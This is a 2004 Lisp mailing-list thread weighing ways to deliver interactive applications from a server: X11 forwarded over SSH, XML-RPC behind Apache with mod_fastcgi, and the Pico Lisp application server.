There are a couple Free X-compressing solutions, which should help
alleviate a bit with the latency on reasonably close, but low
bandwidth clients. There is also at least one Free X11 Java server
(http://www.jcraft.com/weirdx/index.html "supports the core protocols
of X11R6.3"), along with a fuller-featured free one.
I'm facing a very similar problem: I'd like to develop a graphical MUD
(eh, i hope that's not an oxymoron :), and am ready to work a little
on the client side, but not too much. Ideally, i'd have something as
portable as current VT100 MUDs, while supporting mouse input and
graphics. The best i've seen is the Tektronix 4014, which, so far, i
know is supported by kermit (non-free on windows) and xterm (eh), and
i think might be a little slow for redraws. So, erhm, yes, i guess i
could also speak raw X-Window. Is it gonna be hard? Is X-Window going
to be much slower than Tek4014 (assuming both are compressed)?
Still, i think we have decent solutions in front of us, if we're ready
to make a few trade offs (until kt gives us a portable network OGL gui
;).
There are many way's to skin a cat.
My preference is to use us lisp as a server.
Sometimes I use XML-RPC for communication.
That gives me the option of using a applet or java program to give me more
freedom
in the user interface on the client side. XML-RPC goes through the
firewall via port 80.
I use apache 2 on windows so mod_lisp doesn't work. Insted I use
mod_fastcgi.
Note that this just a trampoile. A term used to indicate that a cgi
reguest gets routed to
this and bounced as a request to the server. So mod_fastcgi (and mod_lisp)
saves me from having
to start a new lisp server for each request. I connect to mod_fastcgi via
a socket.
(A pipe works to but this option is much slower under windows)
Each new user that logs in get's a dedicated thread on the server.
Hopes this give you some ideas.
John
On Fri, 19 Mar 2004 21:10:59 GMT, David Steuber
<·············@verizon.net> wrote:
> Paul Graham has stated that clients are a loose. That is, he thinks
> that the future of applications delivery is via a server on the
> Internet running the application.
>
> I've always been skeptical of this claim because HTML + Web Browser
> makes for a crappy interactive interface. The HTTP protocol has its
> place, but it has certain well known limitations.
>
> Well, I was thinking about that idea this morning for some reason.
> Running an application on the server is a great way to have full
> control over the app without worrying about what the client has. I
> also thought about how I can use 'ssh -X' to run an X11 app on my Mac
> because I have installed the Apple X11 server. Linux/Unix machines
> can do this out of the box, Apple X11 is an optional component for
> Panther.
>
> It's a bit slugish and has a lengthy startup time, but Emacs does run
> from my web server with its display on my Mac. X11 provides an
> interactive, graphical interface.
>
> So here is my idea. Suppose a Lisp image running The Foo Web App can
> be setup to do the following:
>
> * Use Apache + mod_lisp (or some other HTTP server) to handle HTTP
> requests like any other web app.
>
> * Listen (or use another process to do the job) for SSH (or better
> yet, RSH) connections on some port (rather than the standard port)
> so that it can tunnel an X11 interface over the connection and NOT
> use rlogin.
>
> * Be threaded (or multiprocess with shared memory or some kind of
> IPC) to handle an arbitrary number of simultanious connections
> limited only by hardware and network bandwidth constraints.
>
> The precise nature of The Foo Web App isn't important. It could be a
> sophisticated real time, multi-user, graphical role playing game or
> just some IRC like chat program (without the benifit of an IRC
> client's ability to run bots or upload files). The HTTP portion
> would allow users to see how busy the application was, upload data,
> or whatever. The basic point of the HTTP portion is to be able to
> peek into the state of the application or change the state of the
> application.
>
> The X11 (or curses if only text is required) interface would provide
> the interactive experience of a local app (affected only by network
> latency).
>
> HTTP clients are ubiquitous now and web apps are common enough these
> days. X11 servers are less common, but they are available on all
> major platforms that I know of. I've used and seen X11 servers for
> Windows although I don't know about good free ones. Apple X11 is
> very good on OS X.
>
> I don't know how to implement this right now, but my thinking is to
> use CMUCL or SBCL on a Debian Linux server to test the concept with my
> Mac as the client. I know this already works with Emacs using 'ssh
> -X'. I'm not running RSHD on my Linux server, just SSHD. I would
> like to setup an RSHD that either fakes or skips rlogin and tunnels
> X11 so that a Lisp application can be connected to remotely without
> the need for a Unix account. The concept of accounts should work the
> same way as it does for standard web apps rather than be at a system
> level.
>
> My server is not very powerful so it would really only be useful for
> testing the concept (566Mhz Celeron with 384MB RAM, 40GB disk). It
> is running the Debian/testing release. I have CMUCL installed via
> apt-get. If I use SBCL I can either build it via CVS or see if the
> debian packages for SBCL are bleeding edge enough.
>
> Does anyone have any thoughts on this idea?
>
--
Using M2, Opera's revolutionary e-mail client: http://www.opera.com/m2/
David Steuber <·············@verizon.net> wrote:
> Paul Graham has stated that clients are a loose. That is, he thinks
> that the future of applications delivery is via a server on the
> Internet running the application.
You might want to take a look at Pico Lisp:
www.software-lab.de/down.html
It is a Lisp version specialized for such purposes, including an
application server and a database engine.
Since many years we use it to develop commercial applications in LAN and
Web.
> I've always been skeptical of this claim because HTML + Web Browser
> makes for a crappy interactive interface. The HTTP protocol has its
> place, but it has certain well known limitations.
Pico Lisp generates highly interactive Applets, on the fly, from a
markup description (as S-Expressions) of the application.
> So here is my idea. Suppose a Lisp image running The Foo Web App can
> be setup to do the following:
> * Use Apache + mod_lisp (or some other HTTP server) to handle HTTP
> requests like any other web app.
Apache is not needed, as Pico Lisp has its own HTTP mechanisms tightly
coupled with the application server logic.
> * Listen (or use another process to do the job) for SSH (or better
> yet, RSH) connections on some port (rather than the standard port)
> so that it can tunnel an X11 interface over the connection and NOT
> use rlogin.
This is always possible. However, we usually prefer SSL on the
HTTP-level.
> * Be threaded (or multiprocess with shared memory or some kind of
> IPC) to handle an arbitrary number of simultanious connections
> limited only by hardware and network bandwidth constraints.
The Pico Lisp application server creates child processes in the old-
fashioned way. These children synchronize on the database, and allow
concurrent access of many users even to the same object at any given
moment, taking care of updating the object's display in all connected
browsers.
Performance is good enough for typical application server purposes. If
you assume identical hardware for the server and the clients, up to 50
clients (e.g. 1GHz Intel/Windows-PC's) can be handled by a single server
(e.g. a 1 GHz Intel/Debian machine), because most time consuming
processing happens on the clients.
Unfortunately, the higher levels of the Pico Lisp system are still quite
undocumented, but I'll help if you are interested. Pico ist /not/
compatible to Common Lisp, and has a few features which require
explanation.
Alex
--
Software Lab. Alexander Burger
Bahnhofstr. 24a, D-86462 Langweid
···@software-lab.de, www.software-lab.de, +49 821 9907090